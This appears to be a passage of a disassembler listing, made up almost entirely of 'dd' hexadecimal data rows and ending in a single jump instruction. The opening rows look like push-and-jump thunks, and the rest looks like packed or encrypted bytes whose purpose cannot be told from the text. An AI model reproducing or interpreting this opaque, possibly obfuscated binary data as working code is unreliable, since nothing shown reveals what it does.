		dd 93DFE906h, 7E68FFFBh, 0E90614B8h, 0FFFB93D5h, 14B9F268h
		dd 93CBE906h, 0DC68FFFBh, 0E90614BAh, 0FFFB93C1h, 14BB8468h
		dd 93B7E906h, 0C768FFFBh, 0E90614BDh, 0FFFB93ADh, 14BEE068h
		dd 93A3E906h, 0AD68FFFBh, 0E90614BFh, 0FFFB9399h, 14C02268h
		dd 938FE906h, 0E068FFFBh, 0E90614C1h, 0FFFB9385h, 14C74B68h
		dd 937BE906h, 5B68FFFBh, 0E90614C8h, 0FFFB9371h, 7B24FD80h
		dd 933C1B9Bh, 0A64F2EB3h, 0C46D44C6h, 0D88160E4h, 0FA7E6AE1h
		dd 1C9A7A23h, 35B4943Dh, 4ACBAB54h, 8A2EC26Bh, 0D9B8D8D2h
		dd 3CDB801Dh, 154825A6h, 0C1E5C445h, 5E9170F1h,	0C2761F7Fh
		dd 0A74661Eh, 0B5141BCDh, 4F183455h, 12EC732Bh,	4FAE1DC2h
		dd 9291872Bh, 0A00785D5h, 84C5D70Fh, 26851DC2h,	0C5DB93C6h
		dd 8E1DC284h, 3B098A5Ah, 0CCABDEBDh, 84BB0D6Dh,	2A16790Eh
		dd 332030h, 0D5010000h,	28CCF077h, 0EAC0F132h, 74D4FF1Ch
		dd 0C21A8B3Ch, 134931Dh, 0C2565349h, 0F8C8FC1Dh, 88679A77h
		dd 7BDBB638h, 0E77CF229h, 8E3029DFh, 0E6h, 8302D26Fh, 349473A6h
		dd 628663E4h, 0C0361392h, 6F72920Dh, 0E41777BBh, 0CAE49C40h
		dd 921BCDDCh, 0FF83D333h, 9C1DED20h, 39BA8ABDh,	0A908E76Bh
		dd 0D8E93800h, 22A31BCDh, 16E69A43h, 0A5ABA97h,	0D879AC89h
		dd 2BCFF374h, 3E71C135h, 0E4088F80h, 0CDC9322Ch, 1B7BDA1Bh
		dd 0C2C9E8E3h, 0AA53B21Dh, 0F01453F9h, 0D3619A38h, 173B9A1Bh
		dd 517CF73h, 0C517EC79h, 32B60666h, 0DA0DEC6Ah,	845185FBh
		dd 38DCB06Eh, 0CC5030D9h, 48D4D0F5h, 0F83BB701h, 15131Bh
		dd 6B46C900h, 8362E2C2h, 9875FADAh, 0B68D0FEFh,	0CAA92D0Dh
		dd 0CD212A21h, 0E1C16A49h, 0F7D78063h, 10F09978h, 7509B28Fh
		dd 0BE0719D1h, 22C71DD9h, 762ED283h, 1BCD0A64h,	954FC524h
		dd 0EDEC0611h, 0F074C424h, 7886811h, 0B136062Ah, 6ACAA9DCh
		dd 77D512C1h, 3228CCF0h, 0D1EEC8FDh, 0C9A82850h, 71D20A6Ah
		dd 291DC202h, 5F534D05h, 71F11DC2h, 8EED4C92h, 5F8DA35Bh
		dd 0F4561DC2h, 0D9B247BDh, 0E0573029h, 38000000h, 154825A6h
		dd 70F1C145h, 0E4BF4191h, 4073D2B1h, 6948CC9Ch,	0BFF75736h
		dd 1BCD0E62h, 0A8CCA92Ah, 1A7A57D8h, 31109171h,	7BB6170Dh
		dd 80B016B9h, 4CED20h, 0A99F4367h, 8A0BA9F2h, 239978ABh
		dd 4BAB21BBh, 0C2553813h, 0DA83E21Dh, 0C77F2329h, 1DC255D5h
		dd 0DB0EED6Bh, 0F857B6FCh, 0F9A11CD4h, 0BF8F1BD3h, 5433663Dh
		dd 0D28AAEF4h, 17EC01D8h, 9EC22180h, 0D29604FAh, 0B8EB4EA7h
		dd 0AD840858h, 0C1A02404h, 1F2A29Ch, 0F1CE11B7h, 13FCh
		dd 0DB845DE0h, 0F39C7BFBh, 6AF8E13h, 24CDA426h,	38E1C044h
		dd 5ADE0A41h, 7CFADA83h, 9514F49Dh, 0AA2B0BB4h,	0EA8E22CBh
		dd 0D9BF3832h, 9C3BE01Dh, 0A24B22A6h, 0BF9E1EEEh, 0FD4DAD8Ch
		dd 40F49D7Ch, 934BF170h, 1BCD0A99h, 5083E241h, 0A6F21171h
		dd 71154825h, 0A1B15CDh, 9FC31BCDh, 0CD0AF5E7h,	0D736951Bh
		dd 0C7A62777h, 0E4B93E1Eh, 8160E1B1h, 0BFB3A6D8h, 4F3C38Dh
		dd 5DD3B232h, 9DFCB01Ah, 4E25A979h, 72A57CFEh, 570F3393h
		dd 1DC2CCBCh, 0D77B9FFEh, 0DD0D0D1Fh, 0E6ECD1Dh, 0A8A5AFEh
		dd 9C93CB2Bh, 60EA573Ch, 3707866Ah, 0CC2CC9A2h,	0A2C6A1ABh
		dd 5871C9EAh, 0F5ADD1E0h, 18648EFBh, 0B2E544A3h, 0E1C03E0Eh
		dd 7BEC6081h, 0FC6E9F57h, 0D1301E76h, 7D5CDDADh, 9673F4D4h
		dd 9B8F6171h, 0D0ADF0B2h, 1314h, 0C36C45C8h, 0DB8463E3h
		dd 0EE9776FBh, 0CB58C0Eh, 20C9A82Ch, 42C62229h,	64E2C26Bh
		dd 7DFCDC85h, 9213F39Ch, 0D2760AB3h, 0D9BC001Ah, 8423C81Dh
		dd 244825A6h, 0C3F6D354h, 0B05184E4h, 0EFA7CB9Ch, 1DC21DA8h
		dd 2E28BEAh, 0D071A481h, 23C7EB7Ch, 0BFF2D153h,	8A4880E0h
		dd 0EC1BD6A2h, 0B467C3F6h, 0F5553C11h, 5C2C50AFh, 7555FEDBh
		dd 0BFA224F4h, 9F37AD8Ch, 0B93C209Fh, 0F596C928h, 0F6EC1057h
		dd 8D3AF339h, 81A50543h, 0FA0B6BC9h, 0A8CC2B11h, 0D6B33404h
		dd 1464C4A3h, 590DB693h, 0E032EF63h, 0BE1E37F6h, 0DD10ED6Eh
		dd 0E766103Ch, 8707D70Ah, 78F949A8h, 28876699h,	0E8134C04h
		dd 0DC3B0FFAh, 678CD1B7h, 20FD40A3h, 1248h, 87301194h
		dd 9F4827A7h, 0BA633ABFh, 0D07958DAh, 0EC956CF0h, 0E9256F5h
		dd 28A6862Fh, 41C0A049h, 56D7B760h, 963ACE77h, 0D9BCCCDEh
		dd 48E78C1Dh, 0A24B22A6h, 0C09D1EEEh, 2D4EAE8Dh, 6C24481Fh
		dd 1DC21D7Bh, 0AAA0C423h, 39F19BBEh, 1DC2B327h,	141288E7h
		dd 89BC1CD3h, 0B05938B9h, 3F724FD0h, 95B9AE9Eh,	0CD6962DDh
		dd 9ACD2C1Bh, 4A6AA183h, 24C8ECC9h, 0D36E726Ch,	5BBB1A17h
		dd 2B4B01B2h, 0BB9ACDACh, 6780385Ch, 5911DC79h,	71E3FDB5h
		dd 4CAB09E0h, 2347A6ECh, 0C2F5D453h, 805083E3h,	8FE22FFh
		dd 0CCF5D700h, 87BA1A9Eh, 2B5E35B7h, 8B0CDC5Bh,	51C4FAEh
		dd 0A4BDEC23h, 0C7978BC2h, 59386B42h, 0F374D8F9h, 0A26BD9CFh
		dd 6BCAAB4Ch, 342FE70Bh, 0E60FEF3Bh, 2E00CCC2h,	66AC607Dh
		dd 0F1C63C2Eh, 1E7DDC03h, 1E149575h, 0D71F682Eh, 0ADE03F8Bh
		dd 0F17DFFF5h, 255C3E03h, 0DBD58D31h, 8303F17Dh, 0F374C424h
		dd 0C8D6D16h, 0F359FA2Dh, 0FB985074h, 0DD05FE77h, 886F8139h
		dd 0D02F0586h, 22CB2A70h, 1812CA6Eh, 0B6058688h, 4A295C31h
		dd 0D155A504h, 80E0BFF2h, 72DA66DEh, 1E06030h, 8688D7C9h
		dd 0B9187705h, 3827DD95h, 8670392h, 0CDA428F8h,	39CCE29Ah
		dd 0DEAE3FADh, 425855Ch, 57FB1F48h, 0CA2A0987h,	0B9895C92h
		dd 799DFC39h, 77E18483h, 37975D7Fh, 0E3C24313h,	0FCD95A3Ah
		dd 9E75F9C9h, 5464E579h, 0ECC90C91h, 10B8h, 17C0A124h
		dd 2FD8B737h, 4AF3CA4Fh, 6009E86Ah, 7C25FC80h, 9E22C685h
		dd 0B83616BFh, 0D15030D9h, 0E66747F0h, 26CA5E07h, 0D9B27C6Eh
		dd 0D8771C1Dh, 0A24B22A6h, 0F14BF8EEh, 97035F2Ch, 0B8EBC247h
		dd 0A82979D9h, 4901A5C9h, 1BCD2557h, 0C10781F7h, 584B3CF8h
		dd 966699F9h, 0DE053815h, 24A5C5FCh, 0D1669C45h, 782A1B6Ch
		dd 18Ch, 3125A659h, 2B72A87Dh, 74D0D456h, 0A1B415CDh, 0E0B0E342h
		dd 28D9825Fh, 671F4324h, 1DC2FFE0h, 9AE3CEC4h, 0FBA7EB14h
		dd 0C3F6559Bh, 0DD9F150Bh, 255CBE1Dh, 2B1D1AAFh, 64BF30h
		dd 0CB9B0000h, 59386B4Ah, 2D2DAF9h, 9473A683h, 3D391334h
		dd 0CBAADDBCh, 0BB1AF97Bh, 0A347C797h, 0CD0AF1EBh, 0DB3A991Bh
		dd 249F577Bh, 0F61DC22Ch, 7E7D7397h, 6BC9814Fh,	9E4275D5h
		dd 3F724FCEh, 80151F49h, 0B6AA062h, 867D73ABh, 0F2261DC2h
		dd 8684964Eh, 0E5441DC2h, 86FC3385h, 302A0FF1h,	0AA98h
		dd 25A67900h, 0C1451548h, 61946FF1h, 1340F91h, 3164C322h
		dd 0CE01E061h, 0F7A07DFEh, 0CD0EF22Fh, 3C199A1Bh, 0E8C94818h
		dd 8467E5B5h, 0B3137251h, 5DF3590Ah, 0DD9BCF24h, 0B2D635CFh
		dd 0DC62C1FAh, 0A3F5EB1Dh, 21008215h, 336D23ABh, 4C7F5EE3h
		dd 68C70D6Dh, 11F07444h, 2D048868h, 32D76E08h, 8562A5BDh
		dd 0F44h, 933C1598h, 0AB5433B3h, 0BE6746CBh, 0DC855CDEh
		dd 0F09978FCh, 129652F9h, 34B2923Bh, 4DCCAC55h,	62E3C36Ch
		dd 0A246DA83h, 0D9B3F0EAh, 54F3981Dh, 274B22A6h, 0AD1CB83h
		dd 1A791BCDh, 0B03111BAh, 0A67928D1h, 45154825h, 0CBC1E5C4h
		dd 4194EF6Bh, 0B3358565h, 5EBE9DD0h, 7554D5B5h,	0BCABA142h
		dd 6B46C898h, 4D43E70Bh, 516A1F75h, 941A10Ch, 1DC22D3Ah
		dd 89597DDCh, 16F5280Bh, 0FB200DB6h, 0F1000007h, 184B22A6h
		dd 0CD0A4A60h, 4A1D2F1Bh, 0F9D85626h, 9776F6C6h, 0FCB4D838h
		dd 1DD9BA2Eh, 1BEB0F6Eh, 375BBB9Ah, 6645C393h, 86045433h
		dd 72F343A3h, 0A5796F93h, 0FA789A99h, 0E93ED681h, 81E02216h
		dd 17987821h, 9363073Ah, 0C023514h, 7C249E3Bh, 0A909688Dh
		dd 8F0DD559h, 40284DACh, 0CFBD34BEh, 0E5AAF8Ch,	0FF820000h
		dd 19997922h, 2CB1913Ah, 4ACCAC55h, 5ADEBE67h, 68E3DA83h
		dd 78210084h, 8E371A98h, 0A9522FAEh, 0C06948C9h, 0DED0882Ch
		dd 7E1DD9B0h, 22A63AD9h, 41C2A24Bh, 0E0613164h,	0C5A7CE01h
		dd 10ED6E8Eh, 849C3167h, 26412A1Ah, 1D000000h, 0BBEECD4Dh
		dd 0D25D7CDCh, 24DC8002h, 1BCD0A0Ah, 0B41473D2h, 0CD00937Ch
		dd 0EDE021Bh, 0F350B08Dh, 0FFFFFD9Dh, 0AA8BEC4h, 0BF8D1BCDh
		dd 6CC84A8h, 461DD9BAh,	72F3C3E7h, 890AEA93h, 0BB3D2FE7h
		dd 7EDD1DD9h, 9ED1B02Eh, 5D2D60BFh, 97D5FAD9h, 86BD34C9h
		dd 0DB26643h, 0A72A0000h, 0C14121CAh, 0D45939E2h, 0F27454FDh
		dd 286660Fh, 0C08B822Bh, 20C9A82Ch, 36DFC240h, 51FAD756h
		dd 6811F071h, 667830D4h, 261DD9B1h, 25A6E281h, 0C4451548h
		dd 5DE2B2E5h, 0FE7D4D80h, 0EFD1E81Bh, 0E289B8h,	4928A9C9h
		dd 51AC2F25h, 0D85CBE9Fh, 499CF78h, 0A92A1ABEh,	2Ch, 67DCD28Ah
		dd 0B1895811h, 42ADE545h, 1C1BCD7Dh, 9C5492FDh,	1BCD5482h
		dd 0DF75EB4Ah, 0A4C8275Ch, 3C6F52D4h, 0DEA0FD5Dh, 71FFFFFCh
		dd 0CCF077D5h, 0C22BB314h, 0D90C6B1Dh, 0C22B0A21h, 3C73D51Dh
		dd 29A931C6h, 20AD830h,	0BEB90000h, 1BCD0A98h, 0FD300D8Eh
		dd 7125BF1Eh, 22C0037Bh, 0AE8DC09Dh, 0E918638h,	3633ABEh
		dd 0AA5332B3h, 917600F6h, 32863887h, 240182D2h,	744B39F1h
		dd 18FA1BCDh, 6140C1E1h, 0B63404B8h, 61C1A0D3h,	0E39B0740h
		dd 1BCD74C9h, 0B9530661h, 98DE61F0h, 0D9A2BC74h, 0B6A1BCDh
		dd 4A1A4DACh, 9776FBC9h, 7D268564h, 0D478F9C9h,	0CDD9021Ch
		dd 0C6BCA1Bh, 0FEDB5CACh, 0D96D13CBh, 9F231BCDh, 137251CFh
		dd 0B38E10E0h, 50876980h, 9FD2AF30h, 0C22461C0h, 5B80158Bh
		dd 6D252A1Bh, 6000001h,	154825A6h, 451CA171h, 349477F5h
		dd 0DD8663E4h, 2347202Ch, 0C212E46Bh, 1447A61Dh, 0C212465Ch
		dd 977AFC1Dh, 33169464h, 0D007E900h, 0CB0264A1h, 29A0C055h
		dd 596530h, 71410000h, 98924AF2h, 401DC21Ah, 594F82E1h
		dd 0EE0889B7h, 67C726E9h, 0F077D548h, 7E7028CCh, 1E1BCD0Ah
		dd 14734ACEh, 1CEC90B4h, 255DBD9Ch, 1DC22CA2h, 46EA1D7Ch
		dd 0BB1BF276h, 0C22C6D83h, 0BF9E231Dh, 5C3DBC8Ch, 0FD340629h
		dd 0F82F91CEh, 29A9ED82h, 0B09430h, 0A6750000h,	45154825h
		dd 0DFAFE2C1h, 8B5B7F5Eh, 9ACD2D0Ch, 486C49CAh,	0AF2ECA4h
		dd 3B9A1BCDh, 276A32DBh, 5D1BCD12h, 0A354FDDCh,	0E29ABEA9h
		dd 1DDCBFE9h, 5E2E52B1h, 94863EDAh, 341DDCCCh, 0CC465810h
		dd 0A7061DDCh, 6040E948h, 968840DCh, 361DDCCCh,	0CC405A12h
		dd 0A9081DDCh, 9D7CFA4Ah, 0BE7D193Eh, 91D4BD31h, 0B6FB4h
		dd 7EA6D00h, 1FFE7E5Eh,	3C119676h, 5231B393h, 6E45C9A9h
		dd 717DCEC5h, 8D6D16EDh, 0A3832C0Fh, 0BC9C4524h, 21B55E3Bh
		dd 0B7ABC57Dh, 0CE731DD9h, 0B2DCD22Fh, 0F5AF0BA2h, 0B33787E7h
		dd 0D25333DCh, 41A07D02h, 0DCD2E998h, 831DA4A0h, 483D300h
		dd 0F475C525h, 483EE215h, 0B918D8A7h, 0E758BE6Fh, 98E55E29h
		dd 889D939h, 3B938029h,	64000004h, 3B11B154h, 0BB50082Ch
		dd 0DB1DD9BAh, 0ACD35365h, 0A80A174h, 3BEF7ECEh, 5464C341h
		dd 0AACE99B3h, 0D6E671F2h, 0F97B4B1Bh, 9617E71Ah, 46A584B7h
		dd 692AA0E6h, 0ED9A9298h, 0FDDC5AAAh, 0F7C76B9Eh, 86659877h
		dd 0C7F8EE26h, 3FA117EEh, 54FD9208h, 0F9EF363Eh, 76791886h
		dd 0A6CC49B8h, 408BD6E3h, 0A21281E1h, 0F3000003h, 0CD0AA8BEh
		dd 0A6F761Bh, 81511BCDh, 13F225FCh, 9230AD9Dh, 17775D6Fh
		dd 0ED1156F6h, 8C10ABF7h, 14972EA6h, 69C83EE8h,	2145A5E6h
		dd 0C2B0FE69h, 0D050A01Dh, 236D92F1h, 32BD2FC4h, 0A5612EFh
		dd 3860000h, 25A5852Eh,	38BD9D46h, 4ED0B059h, 66EACA73h
		dd 64E7DE87h, 842D0488h, 9A4326A4h, 0B55E3BBAh,	0CC7554D5h
		dd 0C2DC9438h, 8A1DD9B4h, 25A646E5h, 7B711548h,	5A4DAA62h
		dd 0DBFC5C9Eh, 1AD2F671h, 1DD9E1E0h, 46F832A8h,	0FA2AFCF1h
		dd 9A3EF29Bh, 622C3EF6h, 8DEC1DD8h, 0D8625B55h,	0D6DD31Dh
		dd 2A54A25Eh, 42585E4h,	43FB1F48h, 1BCC22C5h, 825276D5h
		dd 0C87C2504h, 467455D2h, 5BBB5733h, 0E7B02523h, 392E1A17h
		dd 4F32B090h, 0F7D65B2Bh, 164928A7h, 0D4A4D737h, 82527653h
		dd 13F22504h, 6DDF80B3h, 0B6637D35h, 0CC2B17E7h, 0EE91496Dh
		dd 0D211E89Ch, 51A18002h, 0E3C2F5CCh, 0B9DE3D83h, 0A9199C69h
		dd 89684588h, 53000009h, 6848F1D0h, 806009E8h, 9D7D26FBh
		dd 0AF8F381Bh, 0B4AB542Bh, 0F0CF5397h, 0AE96747h, 1F028161h
		dd 38159676h, 9F57FB8Fh, 1DD9B58Dh, 0D509A84Dh,	14CCF077h
		dd 1DD9BAF6h, 532347A6h, 6D4DF6D5h, 35D90CEFh, 0D003E665h
		dd 0DC7091F1h, 317BBC74h, 2D8CFE02h, 0A9BF5109h, 80DF1BCDh
		dd 0C7A0AC4Dh, 0C470EBA3h, 0BB1A11EAh, 17B40096h, 4F2C6FA9h
		dd 914h, 0C36C45C8h, 0DB8463E3h, 0EE9776FBh, 0CB58C0Eh
		dd 20C9A82Ch, 42C62229h, 64E2C26Bh, 7DFCDC85h, 9213F39Ch
		dd 0D2760AB3h, 0D9CA001Ah, 8423C81Dh, 0D75725A6h, 0A57599F8h
		dd 72F44427h, 2CFC2F8Fh, 749BCEABh, 956CF0C0h, 0B8ACE335h
		dd 0F1F298C2h, 0FE82686Bh, 1060C01Fh, 0D309B28Fh, 2A1B4E3Eh
		dd 1B8E3h, 631BBF00h, 1BCDC449h, 663DC111h, 0D288A707h
		dd 8A0A35DCh, 0A909E8C9h, 7FA3C488h, 0C29864C7h, 57D6261Dh
		dd 968477Ah, 978941E5h,	371DC2A9h, 8D4578D8h, 1DC2A997h
		dd 44160C40h, 3D1C9BEDh, 0F4D5FAC7h, 950B4294h,	3029FD00h
		dd 168A5h, 25A68600h, 0A1711548h, 2E0D4023h, 20FD7ECEh
		dd 0E186C677h, 127E05BDh, 0E1401DC2h, 13E0F6AEh, 47A91DC2h
		dd 0C74C1C10h, 78D8B7EAh, 29A13DD2h, 44E430h, 0D5C50000h
		dd 14CCF077h, 1DC22CB3h, 21D90C6Bh, 1DC22C0Bh, 2E6140C1h
		dd 0CCFFDE5Eh, 0C994E8D6h, 354E5840h, 0B0ED1C53h, 472AAC7Ch
		dd 83D53514h, 0BE41D64Ch, 8F333029h, 0C23CC5D7h, 0C626851Dh
		dd 0CA57h, 25A63800h, 0CD711548h, 0CD0A1B15h, 464C31Bh
		dd 0D48C30B4h, 1BCD0ADAh, 83140A52h, 0C70D1905h, 0EFE50968h
		dd 0C64A7DB3h, 5FD5B4E7h, 2FB3983Ah, 0DF3E1D50h, 0FB7C4C7Fh
		dd 9A1BEB1Eh, 0C6B4ACAh, 6CBE9B63h, 0F5761BCDh,	8EBE6F18h
		dd 2B8A67E8h, 317C4F07h, 0BF1E1DDCh, 0A001F79Bh, 74479775h
		dd 92779D78h, 0B312E5C2h, 0DB7F0353h, 0DF150923h, 2272D11Dh
		dd 0B291C4A1h, 38392F53h, 0FA3DBF18h, 0BC9C45A5h, 88345938h
		dd 17BD32CCh, 756F7D4h,	3860000h, 25A5852Eh, 38BD9D46h
		dd 4ED0B059h, 66EACA73h, 64E7DE87h, 842D0488h, 9A4326A4h
		dd 0B55E3BBAh, 0CC7554D5h, 0C2DC9438h, 8A1DD9CBh, 22A646E5h
		dd 41C2A24Bh, 0A60CBB64h, 54244825h, 6194F4D5h,	0D311091h
		dd 0A3089017h, 52D23253h, 789E1473h, 6A69497Eh,	0AF9C45A5h
		dd 32h
		dd 42DA5480h, 81395D0Ah, 1DD9BA89h, 7C9EAE0Dh, 571DB23h
		dd 5332B387h, 6CE2C1F4h, 0E9F9DAC4h, 6286E5F2h,	0CD1457AAh
		dd 0C8D8371Bh, 3FEBh, 77D5BC00h, 77FCCCF0h, 2888679Ah
		dd 2F4C04h, 106F1DC2h, 0EFF025DDh, 40C4E23Dh, 0E05E2E61h
		dd 7AFECE01h, 0EA9170A3h, 7FA2D108h, 0C78576ADh, 0D7C47CA0h
		dd 0E71BCCFAh, 0D8F2DF88h, 0C3000000h, 0CCF077D5h, 0D9BAFE14h
		dd 641CC01Dh, 1DD9BA4Ah, 8ACC71E2h, 569C0894h, 0F25197F7h
		dd 0F1EBB4E6h, 5DF2689Fh, 4F302F6Ah, 0E0F9F3ABh, 42A11DD9h
		dd 9573E2h, 0D5540000h,	0FCCCF077h, 1337977Ah, 0D9BAA45Bh
		dd 7B87E61Dh, 62865649h, 2351492h, 2B9F320Ch, 0FF5E3C14h
		dd 0A0164D9Fh, 302EDD0Bh, 66B2h, 2ED29300h, 0AD8D28Ah
		dd 21801BCDh, 0CD0AF7E9h, 0D838971Bh, 0AED295B7h, 7EAE79B8h
		dd 2A8AF682h, 31BA4E06h, 7BDA1DD9h, 0F0C5BB6Fh,	0C3A62587h
		dd 50DF464Dh, 8B514EF0h, 3E0E0239h, 0BAB0E3BAh,	3693DF2Ah
		dd 91E1401Ah, 2403360Dh, 7E891EC4h, 1C303030h, 0C000000h
		dd 0F4BEB068h, 0E5E1DD8h, 9E7DB08Dh, 0BEC0DF3Fh, 1BCD117Dh
		dd 0FEECC724h, 0D598FFFFh, 14CCF077h, 1DD9BAAAh, 84964E72h
		dd 441DD9BAh, 0B25386E5h, 0AC64089Ah, 1DD9BAB2h, 0A9C3FB5Ah
		dd 711DD9BAh, 0EB8FB312h, 0BA9D8F47h, 0DE3D1DD9h, 0D0300D8Eh
		dd 0CD0A6198h, 93C6251Bh, 0A1F65AF2h, 3C1A92A1h, 0A5D8BB39h
		dd 0E40867C6h, 0F0408E2Ch, 540CB011h, 9F3A05Ah,	529879F8h
		dd 0EE4D93F3h, 9B7AFACAh, 5C0B41F2h, 10828038h,	0B3120FE7h
		dd 6140BF8Fh, 95B2473Dh, 42ADD425h, 4E7139E2h, 469BB848h
		dd 0F4C4E8C5h, 4524A375h, 74D43312h, 0C74717CBh, 60D6B5E8h
		dd 0A0B2230Dh, 4090F0B2h, 9271F1BFh, 0EE21805Fh, 0EBA3FF4Dh
		dd 0ABB76AF1h, 0B7DB3A99h, 0B8494CFFh, 0BCEF4EADh, 988CC3A5h
		dd 96948C8h, 0E46838B9h, 850ADA0Dh, 379675A8h, 62E4B4D8h
		dd 8EE802BAh, 51B0AD44h, 80E0BFF2h, 9978F7D7h, 37169666h
		dd 6D3DE104h, 5AAC0CEFh, 0A5840323h, 0BC9D1CFCh, 7D3E6789h
		dd 45C4E41Bh, 0D50CBB64h, 0F3C3F671h, 0C7609372h, 89BDAEE5h
		dd 0D45535DEh, 0DAD48C30h, 821BCD0Ah, 0AF1EB23h, 3A991BCDh
		dd 63E7B7DBh, 1A7A598Ch, 0B8A5A0Eh, 7F5EDE2Eh, 0F5217D1Fh
		dd 18E8DC13h, 0AB8ABD94h, 9B7AFB4Bh, 5C3BBB8Bh,	0C2DC9438h
		dd 8A1BCD0Ah, 3D2AB52Bh, 0A6A4A025h, 9F6F1346h,	300F4221h
		dd 26865BE0h, 0CDD0FCEEh, 3411921Bh, 0D1B03101h, 0EC23059Eh
		dd 0D4426BDh, 1FA42319h, 0DD5AF597h, 0DDAD2D7Dh, 751E7D5Ch
		dd 331695h, 0CD725348h,	0B5ABDF1Bh, 8AD707A8h, 6820440Ah
		dd 1BCD0276h, 557B716h,	522FAECEh, 5DC5E2Eh, 7848FCA5h
		dd 4CCA1AF7h, 96D50D6Dh, 0AF1BCD22h, 1AB17109h,	0FF3D182Ah
		dd 0A6F9FFFFh, 0BF9F4825h, 0FEE6E3Eh, 21D9FDDCh, 1BCD0A0Fh
		dd 0ED1170CFh, 193F16F7h, 79D940BDh, 13C3B96Dh,	81C7ACF7h
		dd 60BF9E1Eh, 522FB000h, 0AE76646h, 0AB8207D7h,	0CC03D578h
		dd 0B8EF519Dh, 163A1798h, 8BA0BA72h, 9681BCDh, 0FE5E35B9h
		dd 0F67A4AEEh, 9514E417h, 4FF555B4h, 2A1B05BAh,	445Fh
		dd 2ED24000h, 0CD0A6476h, 65C5241Bh, 3B5F0844h,	0D9BA8E83h
		dd 8DB1101Dh, 0FA5A39BDh, 0EFE2BCEEh, 7C13C5BBh, 0D6989EACh
		dd 0BCE0FAB2h, 49A81DD9h, 6F6097E9h, 0AE668ADDh, 1BCD0C5Bh
		dd 0EFCCDC3Bh, 5Dh, 0F077D5C0h,	0BAFD14CCh, 0F3C31DD9h
		dd 81609372h, 9ED1B031h, 0BA195FBFh, 9C257CAEh,	7B1F134Ah
		dd 0D9BAA9C3h, 0BE2671Dh, 0E50666C5h, 0CDC0067h, 9776A988h
		dd 0A65B1337h, 0E81BCD0Ah, 62246972h, 198F5347h, 9D5BC714h
		dd 0F216751Dh, 8CBF9E22h, 993D4DADh, 8C6C73A3h,	0F252B542h
		dd 4825A6D3h, 26B42E24h, 0B77CAFA5h, 0D3542457h, 0B09C4DF6h
		dd 54DB93B7h, 161DC228h, 3CE084B7h, 0C2596A84h,	73D3321Dh
		dd 0C259253Bh, 645ADB1Dh, 46FB62C2h, 0BEF15034h, 1A7C6AEEh
		dd 0BA862350h, 1B3E71D0h, 0A6E31249h, 2970D44h,	0A73029FEh
		dd 27h,	0F077D588h, 977AFCCCh, 1258564h, 0C22CFE49h, 0E41A01Dh
		dd 0C22C4056h, 70A7091Dh, 29AA65FAh, 0CC0C30h, 0A6ED0000h
		dd 71154825h, 4BC8707Bh, 6CCCC6DAh, 86B9981Ch, 7427ECE2h
		dd 0CEA47B98h, 0CD560416h, 665C41Bh, 0F8D556A6h, 9574F5C5h
		dd 52C524ECh, 0E8F1BCDh, 0B93B0B2Fh, 68C8A7DAh,	7F5EDFBFh
		dd 0C6A1AB4Ch, 7653D2A2h, 653AF216h, 471DC243h,	0E71AF977h
		dd 362A808h, 0D3A3A95Ah, 0A3247453h, 55B493C6h,	337C7931h
		dd 0E3421BD3h, 946BEFBFh, 3F22A070h, 0D25636DFh, 426CD6FBh
		dd 80C3B701h, 1EBA3h, 936EF100h, 0AB8A0AEAh, 0C09D2202h
		dd 0DEB53717h, 0F2D15535h, 0F5F95249h, 9E99271h, 1FFFA88Bh
		dd 3818C1A0h, 9D31DAB7h, 0CD2F41F9h, 4AEF1DD9h,	4B22A6ABh
		dd 87583127h, 0D6D2CC8Fh, 6CEDCD76h, 6030E48Dh,	0EECD00E1h
		dd 77D56F8Eh, 0B314CCF0h, 6B1DC22Ch, 6535D90Ch,	6EA606E5h
		dd 1DC22C78h, 9C1DED21h, 4BAB8ABDh, 0D8CEC2F9h,	4F749643h
		dd 913797A0h, 302A65FCh, 0D6A1h, 21D97D00h, 1DC2E40Fh
		dd 0F9F3ABCFh, 0A11DC2E4h, 6483E342h, 154825A6h, 0AFE2C145h
		dd 0CD0E2AF7h, 57988E1Bh, 0DCFC6829h, 4D24A8F8h, 3D1C9DEDh
		dd 5633B494h, 9DCA8223h, 0B9EAC179h, 5CAC1DC2h,	24C8FBDEh
		dd 0C2C9726Ch, 5CBB1A1Dh, 0A9A354FDh, 0C7AA29F9h, 637DB594h
		dd 2B1DC2C9h, 0A5496DCCh, 0C9574901h, 98F71DC2h, 652A0038h
		dd 0B6A1BD3h, 0BC9317E7h, 8336A298h, 73CFE199h,	308F17ECh
		dd 13B9F3BAh, 0A62A0AB3h, 8C2EA2C7h, 5699B701h,	0DB79h
		dd 0A37E0100h, 0BB9A1AFAh, 0D0AD3212h, 0EEC54727h, 2E16545h
		dd 5E96259h, 19F9A281h,	2F0FB89Bh, 4828D1B0h, 0AD41EAC7h
		dd 0C25F5109h, 5AFF1DD9h, 4B22A6BBh, 0F3B03127h, 998251A7h
		dd 2FB09039h, 0A6FAA952h, 80244825h, 0CD0AD6C8h, 0B717761Bh
		dd 843CE084h, 1BCD0A6Ah, 0A829C54h, 0EB4A1BCDh,	96E646A5h
		dd 70143815h, 0CD0AA6B8h, 0A707661Bh, 0F67A4AFEh, 0B505E417h
		dd 3F1E5130h, 2F0E8FDFh, 0A9DCD286h, 39E506DBh,	1F11C9EDh
		dd 0BF1BCDD3h, 2FB00060h, 9B671F52h, 28541DB0h,	6EEF0F46h
		dd 8506E68Fh, 2B5E35B7h, 9BFAD95Bh, 9565093Ch, 83D33316h
		dd 0D8EF2201h, 1E9FBFF6h, 35B6963Fh, 37C1DB93h,	2A89541Ch
		dd 0DBB98CBh, 87000000h, 0E66636B7h, 96F5D407h,	6E9D1736h
		dd 1B4E23A6h, 0B8EBCA4Bh, 558869E8h, 0F1240785h, 93C69D21h
		dd 2D603FC3h, 0C5F8DB5Dh, 5E9170F5h, 0FC2F0E8Eh, 57866835h
		dd 4890000h, 0E7895724h, 4C781h, 0EF810000h, 4,	5C243C87h
		dd 68242C89h, 204Dh, 52243C89h,	0B2DAB850h, 0C2890614h
		dd 5AD58958h, 243C8B54h, 5104C483h, 89E88950h, 4F8958C1h
		dd 3C8B5908h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 5D2434FFh, 4C481h, 86E90000h, 1FFFFB7Ch, 0B85FACC9h
		dd 614C95Bh, 0E0FFC503h, 51E200DCh, 0CD18DC0h, 30BA81F8h
		dd 298A0322h, 2B9FC29Dh, 6E8248B8h, 64DA5F3Eh, 716BE9DAh
		dd 76980B8Ch, 2A994F12h, 0FE9h,	5997CF00h, 0E7339C6Fh
		dd 77h,	0
; ---------------------------------------------------------------------------
		jmp	loc_5A8641
